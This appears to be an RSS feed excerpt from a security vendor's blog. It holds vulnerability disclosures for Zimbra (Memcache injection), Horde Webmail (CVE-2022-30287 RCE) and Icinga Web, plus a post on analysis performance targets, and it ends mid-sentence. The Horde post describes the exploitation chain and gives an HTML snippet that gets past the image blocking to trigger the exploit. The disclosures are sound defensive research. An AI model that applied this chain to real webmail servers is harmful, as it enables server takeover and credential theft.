If this state was forced, &lt;code&gt;A&lt;/code&gt;&amp;#x27;s cache lookup request would process only the first result, &lt;code&gt;result A1&lt;/code&gt;. When &lt;code&gt;B&lt;/code&gt;&amp;#x27;s cache lookup request is then processed, it would use the value of &lt;code&gt;result A2&lt;/code&gt;, which is attacker-controlled.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The idea is that by continuously injecting more responses than there are work items into the shared response streams of Memcached, we can force random Memcached lookups to use injected responses instead of the correct response. This works because Zimbra did not validate the key of the Memcached response when consuming it. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By exploiting this behavior, we can hijack the proxy connection of random users connecting to our IMAP server without having to know their email addresses. This exploitation strategy also does not break anything, as HTTP lookup requests that would use a poisoned value would fall back to a Round Robin approach.&lt;/p&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Zimbra patched the vulnerability by creating a SHA-256 hash of all Memcache keys before sending them to the Memcache server. As the hex-string representation of a SHA-256 can’t contain whitespaces, no new-lines can be injected anymore.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The fixed versions are respectively 8.8.15 with Patch level &lt;a href=&quot;https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31.1&quot;&gt;31.1&lt;/a&gt; and 9.0.0 with Patch level &lt;a href=&quot;https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24.1&quot;&gt;24.1&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-03-11&lt;/td&gt;&lt;td&gt;We report the issue to Zimbra&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-03-11&lt;/td&gt;&lt;td&gt;Zimbra acknowledges the report&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-03-16&lt;/td&gt;&lt;td&gt;Zimbra confirms that they were able to reproduce the vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-03-31&lt;/td&gt;&lt;td&gt;Zimbra releases a patch for the 8.8.15 and 9.0.0 branches&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-04-01&lt;/td&gt;&lt;td&gt;We inform Zimbra that the patches are insufficient&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-04-05&lt;/td&gt;&lt;td&gt;We discuss the insufficient patch and patch strategies with Zimbra developers on a Webex call&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-01&lt;/td&gt;&lt;td&gt;We ask Zimbra for an update on the patches&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-02&lt;/td&gt;&lt;td&gt;Zimbra tells us that they are testing a patch&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-06&lt;/td&gt;&lt;td&gt;Zimbra sends us patch to test&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-06&lt;/td&gt;&lt;td&gt;We verify the patch works&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-10&lt;/td&gt;&lt;td&gt;Zimbra informs us about the upcoming release of the patch&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-22&lt;/td&gt;&lt;td&gt;We inform Zimbra about the release date of this advisory&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we presented a Memcache Injection vulnerability in Zimbra that exists because newline characters &lt;code&gt;(\r\n)&lt;/code&gt; are not escaped in untrusted user input. This code flaw ultimately allows attackers to steal cleartext credentials from users of targeted Zimbra instances.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although vulnerabilities such as Cross-Site Scripting and SQL Injections still exist and occur due to a lack of input escaping, they have been well known and documented for decades. The majority of developers understand these vulnerabilities and that certain, context-specific characters should be escaped before passing them to a potentially dangerous function. However, as we have seen, other injection vulnerabilities can occur that are less known and can have a critical impact.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We recommend developers to always be aware of special characters that should be escaped when dealing with technology where less documentation and research about potential vulnerabilities exists.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-webmail-compromise-via-email&quot;&gt;Zimbra 8.8.15 - Webmail compromise via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/nodebb-remote-code-execution-with-one-shot&quot;&gt;NodeBB 1.18.4 - Remote Code Execution With One Shot&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Sonar’s analysis performance targets]]></title><description><![CDATA[We've finally defined our own performance goals for analysis - so that we're no longer subjecting ourselves to apples-to-oranges comparisons with tools that may not have the same goals or outcomes. Now, we can clearly state what you can expect from analysis, and how long analysis of a project should take under standardized conditions.]]></description><link>https://www.sonarsource.com/blog/sonars-analysis-performance-targets</link><guid isPermaLink="false">4b5170ba-0c64-597b-9f6a-c95bc560e8df</guid><dc:creator><![CDATA[Alexandre Gigleux]]></dc:creator><pubDate>Tue, 07 Jun 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I&amp;#x27;m proud to announce new performance goals for Sonar analysis.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Historically, when users talked about Sonar analysis performance, we could easily classify them into one of two groups:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Challengers pushing our limits, reporting cases where they thought we should improve.&lt;/li&gt;&lt;li&gt;Satisfied users, happy because they were used to SAST tools that ran for hours to produce a lot of false-positive results.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But in neither case did we know how to respond. Because when we started building our own analysis engine, it was without clear performance goals in mind. And without knowing where we were headed, it was impossible to know if we&amp;#x27;d gotten there yet. So if you told us the performance wasn&amp;#x27;t good enough, we didn&amp;#x27;t know whether you were right or wrong.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That&amp;#x27;s why we&amp;#x27;ve finally defined our own performance goals for analysis - so that we&amp;#x27;re no longer subjecting ourselves to apples-to-oranges comparisons with tools that may not have the same goals or outcomes. Or too-subjective, personal assessments of how analysis &amp;quot;seems&amp;quot;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, we can clearly state what you can expect from analysis, and how long analysis of a project should take under standardized conditions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So let&amp;#x27;s get into what the goals are, and where we stand today.&lt;/p&gt;&lt;h2&gt;How long for a first analysis?&lt;/h2&gt;&lt;p&gt;A first analysis should be understood as the analysis of all the files of a branch. This happens when you onboard a new project into SonarQube or SonarCloud and again when you create a new branch. In this context, you should expect to see the overall status of your project in fewer than x minutes, where x depends on the size of your project:&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Project Size&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Expected Duration&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;≤ 1k LOC (XS)&lt;/td&gt;&lt;td&gt;≤ 30s&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;10k LOC (S)&lt;/td&gt;&lt;td&gt;≤ 1 min&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;100k LOC (M)&lt;/td&gt;&lt;td&gt;≤ 5 min&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;500k LOC (L)&lt;/td&gt;&lt;td&gt;≤ 20 min&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;1M LOC (XL)&lt;/td&gt;&lt;td&gt;≤ 40 min&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;From what we have measured on SonarCloud, we are on track for the M, L, and XL project sizes - 95% of these projects are analyzed within the targets. For XS and S, we are not on track mainly because of the time to start the analysis.&lt;/p&gt;&lt;h2&gt;How long for a code change analysis?&lt;/h2&gt;&lt;p&gt;A code change analysis happens:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;when you create a pull request and you want to validate the quality of the PR before merging it&lt;/li&gt;&lt;li&gt;when you directly commit files to a branch (main or otherwise) without using a pull/merge request mechanism&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In such a context, it’s natural to expect the analysis time to be proportional to the size of the changeset (the amount of added or updated code) and not have to wait the same amount of time as a first analysis.&lt;/p&gt;&lt;p&gt;Here, you should expect to see the updated Quality Gate of your project, branch, or PR in fewer than x minutes, where x depends on the size of the code change:&lt;/p&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Code Change Size&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Expected Duration&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;≤ 1k LOC (XS)&lt;/td&gt;&lt;td&gt;≤ 30s&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;10k LOC (S)&lt;/td&gt;&lt;td&gt;≤ 1 min&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;100k LOC (M)&lt;/td&gt;&lt;td&gt;≤ 5 min&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;What has been done so far toward these goals?&lt;/h2&gt;&lt;p&gt;Definition: a project can contain multiple programming languages. It’s convenient to speak about a given project as a Java, TypeScript, or PHP, … project. We do this by naming the project after the language that has the biggest Lines of Code density in the project.&lt;/p&gt;&lt;h3&gt;For the first analysis durations&lt;/h3&gt;&lt;p&gt;For Java projects, the general performance has been improved, making the Java analysis 30% faster on average with SonarQube 9.4 compared to SonarQube 9.3. A customer who tested this version said they were able to analyze a 1M LOC project in less than 18 minutes, putting us in a good position compared to our target (&amp;lt; 40min).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For Kotlin projects, we &lt;a href=&quot;https://community.sonarsource.com/t/kotlin-analysis-performance-up-to-10x-better-for-large-projects-with-a-lot-of-dependencies/53376&quot;&gt;improved the performance by a factor of 10&lt;/a&gt; which makes us reach our performance targets.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For C/C++ projects, analyses are multithreaded by default starting from SonarQube 9.5. Before it was an opt-in option. We no longer think it makes sense so we turned it on by default. With this change, it’s easy to reach our targets by allocating more CPUs to your analyses.&lt;/p&gt;&lt;h3&gt;For code change analysis durations&lt;/h3&gt;&lt;p&gt;For a lot of languages covered by Sonar, we don’t need to gather knowledge from all files to raise good results. In such a case, only the changed files are analyzed in a pull request context. This is available starting from SonarQube 9.3 and on SonarCloud since the 3rd of May. Pull Requests analysis time is generally improved if they contain CSS, HTML, XML, Ruby, Scala, Go, Apex, CloudFormation, Terraform, Swift, PL/SQL, T-SQL, ABAP, VB6, Flex, and RPG code changes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For Pull Requests containing a majority of Java Code, there is an additional 8-25% gain compared to before because we started to only run the rules on change files that don’t require project-level data.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Overall it’s better, but we are not yet reaching our code change analysis duration targets.&lt;/p&gt;&lt;h2&gt;What are the next steps?&lt;/h2&gt;&lt;p&gt;As a first priority, we want to optimize the pull request analysis time of Java projects. We will do that by relying on a new cache mechanism storing project-level data. This will ensure to keep a high level of accuracy of our results. Why Java first? Java is the first language that was supported by Sonar and is one of our biggest user communities. Additionally, Sonar’s developers use a lot of Java so we will be able to find problems easily before the release.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Next, we will rely on the same cache system to optimize the code change analysis of branches.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When that is stable, we will extend it to languages such as JS/TS, PHP, Python, and COBOL.&lt;/p&gt;&lt;h2&gt;How can you contribute?&lt;/h2&gt;&lt;p&gt;If you are on SonarCloud or the latest version of SonarQube, we would love to get your feedback as soon as we announce improvements to confirm our internal measurements that the overall analysis duration has been improved.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Horde Webmail - Remote Code Execution via Email]]></title><description><![CDATA[We discovered vulnerabilities in Horde Webmail that allow an attacker to execute arbitrary code on Horde instances by having a victim open an email]]></description><link>https://www.sonarsource.com/blog/horde-webmail-rce-via-email</link><guid isPermaLink="false">7eaa8550-f759-525e-a4ba-6c2f88d4887b</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 31 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A webmail application enables organizations to host a centralized, browser-based email client for their members. Typically, users log into the webmail server with their email credentials, then the webmail server acts as a proxy to the organization&amp;#x27;s email server and allows authenticated users to view and send emails.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With so much trust being placed into webmail servers, they naturally become a highly interesting target for attackers. If a sophisticated adversary could compromise a webmail server, they can intercept every sent and received email, access password-reset links, and sensitive documents, impersonate personnel and steal all credentials of users logging into the webmail service.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post discusses a vulnerability that the Sonar R&amp;amp;D team discovered in Horde Webmail. The vulnerability allows an attacker to fully take over an instance as soon as a victim opens an email the attacker sent. At the time of writing, no official patch is available.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The discovered code vulnerability (CVE-2022-30287) allows an authenticated user of a Horde instance to execute arbitrary code on the underlying server. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability can be exploited with a single GET request which can be triggered via Cross-Site-Request-Forgery.  For this, an attacker can craft a malicious email and include an external image that when rendered exploits the vulnerability without further interaction of a victim: the only requirement is to have a victim open the malicious email.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability exists in the default configuration and can be exploited with no knowledge of a targeted Horde instance. We confirmed that it exists in the latest version. The vendor has not released a patch at the time of writing. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another side-effect of this vulnerability is that the clear-text credentials of the victim triggering the exploit are leaked to the attacker. The adversary could then use them to gain access to even more services of an organization. This is demonstrated in our video:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/pDXos77YHpc&quot;&gt;Horde RCE via email demo&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical details&lt;/h2&gt;&lt;p&gt;In the following sections, we go into detail about the root cause of this vulnerability and how attackers could exploit it.&lt;/p&gt;&lt;h3&gt;Background - Horde Address Book configuration&lt;/h3&gt;&lt;p&gt;Horde Webmail allows users to manage contacts. From the web interface, they can add, delete and search contacts. Administrators can configure where these contacts should be stored and create multiple address books, each backed by a different backend server and protocol.&lt;/p&gt;&lt;p&gt;The following snippet is an excerpt from the default address book configuration file and shows the default configuration for an LDAP backend:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;turba/config/backends.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$cfgSources[&apos;personal_ldap&apos;] = array(
   // Disabled by default
   &apos;disabled&apos; =&gt; true,
   &apos;title&apos; =&gt; _(&quot;My Address Book&quot;),
   &apos;type&apos; =&gt; &apos;LDAP&apos;,
   &apos;params&apos; =&gt; array(
       &apos;server&apos; =&gt; &apos;localhost&apos;,
       &apos;tls&apos; =&gt; false,
    // …&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As can be seen, this LDAP configuration is added to an array of available address book backends stored in the &lt;code&gt;$cfgSources&lt;/code&gt; array. The configuration itself is a key/value array containing entries used to configure the LDAP driver.&lt;/p&gt;&lt;h3&gt;CVE-2022-30287 - Lack of type checking in Factory class&lt;/h3&gt;&lt;p&gt;When a user interacts with an endpoint related to contacts, they are expected to send a string identifying the address book they want to use. Horde then fetches the corresponding configuration from the &lt;code&gt;$cfgSources&lt;/code&gt; array and manages the connection to the address book backend.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following code snippet demonstrates typical usage of this pattern:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;turba/merge.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 14 require_once __DIR__ . &apos;/lib/Application.php&apos;;
 15 Horde_Registry::appInit(&apos;turba&apos;);
 16
 17 $source = Horde_Util::getFormData(&apos;source&apos;);
 18 // …
 19 $mergeInto = Horde_Util::getFormData(&apos;merge_into&apos;);
 20 $driver = $injector-&gt;getInstance(&apos;Turba_Factory_Driver&apos;)-&gt;create($source);
 21 // …
 30 $contact = $driver-&gt;getObject($mergeInto);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The code snippet above shows how the parameter &lt;code&gt;$source&lt;/code&gt; is received and passed to the &lt;code&gt;create()&lt;/code&gt; method of the &lt;code&gt;Turba_Factory_Driver&lt;/code&gt;. Turba is the name of the address book component of Horde.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Things start to become interesting when looking at the &lt;code&gt;create()&lt;/code&gt; method:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;turba/lib/Factory/Driver.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 51     public function create($name, $name2 = &apos;&apos;, $cfgSources = array())
 52     {
 53     // …
 57         if (is_array($name)) {
 58             ksort($name);
 59             $key = md5(serialize($name));
 60             $srcName = $name2;
 61             $srcConfig = $name;
 62         } else {
 63             $key = $name;
 64             $srcName = $name;
 65             if (empty($cfgSources[$name])) {
 66                 throw new Turba_Exception(sprintf(_(&quot;The address book \&quot;%s\&quot; does not exist.&quot;), $name));
 67             }
 68             $srcConfig = $cfgSources[$name];
 69         }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On line 57, the type of the &lt;code&gt;$name&lt;/code&gt; parameter is checked. This parameter corresponds to the previously shown &lt;code&gt;$source&lt;/code&gt; parameter. If it is an array, it is used directly as a config by setting it to &lt;code&gt;$srcConfig&lt;/code&gt; variable. If it is a string, the global &lt;code&gt;$cfgSources&lt;/code&gt; is accessed with it and the corresponding configuration is fetched.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This behavior is interesting to an attacker as Horde expects a well-behaved user to send a string, which then leads to a trusted configuration being used. However, there is no type checking in place which could stop an attacker from sending an array as a parameter and supplying an entirely controlled configuration.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Some lines of code later, the &lt;code&gt;create()&lt;/code&gt; method dynamically instantiates a driver class using values from the attacker-controlled array:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;turba/lib/Factory/Driver.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 75  $class = &apos;Turba_Driver_&apos; . ucfirst(basename($srcConfig[&apos;type&apos;]));
 76	// …
112  $driver = new $class($srcName, $srcConfig[&apos;params&apos;]);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;With this level of control, an attacker can choose to instantiate an arbitrary address book driver and has full control over the parameters passed to it, such as for example the host, username, password, file paths etc.&lt;/p&gt;&lt;h3&gt;Instantiating a driver that enables an attacker to execute arbitrary code&lt;/h3&gt;&lt;p&gt;The next step for an attacker would be to inject a driver configuration that enables them to execute arbitrary code on the Horde instance they are targeting.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered that Horde supports connecting to an &lt;a href=&quot;https://en.wikipedia.org/wiki/IMSP&quot;&gt;IMSP server&lt;/a&gt;, which uses a protocol that was drafted in 1995 but never finalized as it was superseded by the &lt;a href=&quot;https://en.wikipedia.org/wiki/Application_Configuration_Access_Protocol&quot;&gt;ACAP&lt;/a&gt; protocol. When connecting to this server, Horde fetches various entries. Some of these entries are interpreted as PHP serialized objects and are then unserialized. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following code excerpt from the &lt;code&gt;_read()&lt;/code&gt; method of the IMSP driver class shows how the existence of a &lt;code&gt;__members&lt;/code&gt; entry is checked. If it exists, it is deserialized:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;turba/lib/Driver/Imsp.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;223   if (!empty($temp[&apos;__members&apos;])) {
224      $tmembers = @unserialize($temp[&apos;__members&apos;]);
225   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Due to the presence of &lt;a href=&quot;https://github.com/ambionics/phpggc/tree/master/gadgetchains/Horde/RCE/1&quot;&gt;viable PHP Object Injection gadgets&lt;/a&gt; discovered by &lt;a href=&quot;https://twitter.com/steventseeley&quot;&gt;Steven Seeley&lt;/a&gt;, an attacker can force Horde to deserialize malicious objects that lead to arbitrary code execution.&lt;/p&gt;&lt;h3&gt;Exploiting the vulnerability via CSRF&lt;/h3&gt;&lt;p&gt;By default, Horde blocks any images in HTML emails that don&amp;#x27;t have a &lt;code&gt;data:&lt;/code&gt; URI. An attacker can bypass this restriction by using the HTML tags &lt;code&gt;&amp;lt;picture&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;source&amp;gt;&lt;/code&gt;. A &lt;code&gt;&amp;lt;picture&amp;gt;&lt;/code&gt; tag allows developers to specify multiple image sources that are loaded depending on the dimensions of the user visiting the site. The following example bypasses the blocking of external images:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;picture&gt;
  &lt;source media=&quot;(min-width:100px)&quot; srcset=&quot;../../?EXPLOIT&quot;&gt;
  &lt;img src=&quot;blocked.jpg&quot; alt=&quot;Exploit image&quot; style=&quot;width:auto;&quot;&gt;
&lt;/picture&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Patch&lt;/h2&gt;&lt;p&gt;At the time of writing, no official patch is available. As Horde seems to be no longer actively maintained, we recommend considering alternative webmail solutions.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-02-02&lt;/td&gt;&lt;td&gt;We report the issue to the vendor and inform about our 90 disclosure policy&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-02-17&lt;/td&gt;&lt;td&gt;We ask for a status update.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-03-02&lt;/td&gt;&lt;td&gt;Horde releases a fix for a different issue we reported previously and acknowledge this report.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-03&lt;/td&gt;&lt;td&gt;We inform the vendor that the 90-day disclosure deadline has passed&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we described a vulnerability that allows an attacker to take over a Horde webmail instance simply by sending an email to a victim and having the victim read the email. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability occurs in PHP code, which is typically using dynamic types. In this case, a security-sensitive branch was entered if a user-controlled variable was of the type array. We highly discourage developers from making security decisions based on the type of a variable, as it is often easy to miss language-specific quirks.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/rainloop-emails-at-risk-due-to-code-flaw/&quot;&gt;RainLoop Webmail - Emails at Risk due to Code Flaw&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/horde-webmail-account-takeover-via-email/&quot;&gt;Horde Webmail 5.2.22 - Account Takeover via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Path Traversal Vulnerabilities in Icinga Web]]></title><description><![CDATA[We recently discovered two critical vulnerabilities in the IT monitoring dashboard Icinga Web. Let’s review their respective root cause and their patches!]]></description><link>https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web</link><guid isPermaLink="false">bc07051d-c12b-54e7-a993-55cef0920228</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 10 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Icinga is a modern, open-source IT monitoring system with a web interface. Thanks to its specialized scripting language, it is highly configurable and can run checks on virtually any IT equipment. It also offers useful built-in plugins to query the state of services running on monitored hosts, such as running services, network traffic, or available disk space.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We recently discovered two code vulnerabilities in Icinga Web that allow attackers to compromise the server on which it is running by running arbitrary PHP code. As part of our research, we unveiled an unpatched bug in the PHP engine itself that enables the exploitation of one of the findings. This article presents the technical details of both vulnerabilities and how the maintainers fixed them. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It’s not common to discuss both PHP and C code in the same blog post; we will do our best to keep it fun. Let’s dive into it!&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;The most common way to deploy Icinga is to use the administration interface Icinga Web that communicates with the Icinga monitoring server.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered a Path Traversal vulnerability (CVE-2022-24716) that can be abused to disclose any file on the server. It can be exploited without authentication and without prior knowledge of a user account. We also discovered CVE-2022-24715, which leads to the execution of arbitrary PHP code from the administration interface. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;They can be easily chained to compromise the server from an unauthenticated position if the attacker can reach the database by first disclosing configuration files and modifying the administrator&amp;#x27;s password. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;We strongly recommend updating your icingaweb2 instances to either 2.8.6, 2.9.6, or 2.10, even if they are not directly exposed to the Internet. &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although we won&amp;#x27;t be releasing a proof-of-concept, exploiting these findings is straightforward. We also recommend assuming that any secret present in the Icinga Web configuration (e.g. database credentials) could have been compromised; they should be rotated as a precautionary measure. &lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;We assume that Icinga Web 2 was deployed using the upstream packages in version ​​&lt;code&gt;2.9.5-1.hirsute&lt;/code&gt; and following the official documentation. As you will later see in the section &lt;em&gt;CVE-2022-24715 - Remote Code Execution&lt;/em&gt;, this setup makes the exploitation slightly more complex for attackers and more interesting for us security researchers!&lt;/p&gt;&lt;h3&gt;Arbitrary File Disclosure (CVE-2022-24716)&lt;/h3&gt;&lt;h4&gt;Context&lt;/h4&gt;&lt;p&gt;The Apache HTTP server is configured to dispatch all the incoming requests to &lt;code&gt;index.php&lt;/code&gt; using its module &lt;code&gt;mod_rewrite&lt;/code&gt;; this setup is very common for modern PHP applications to provide only one entry 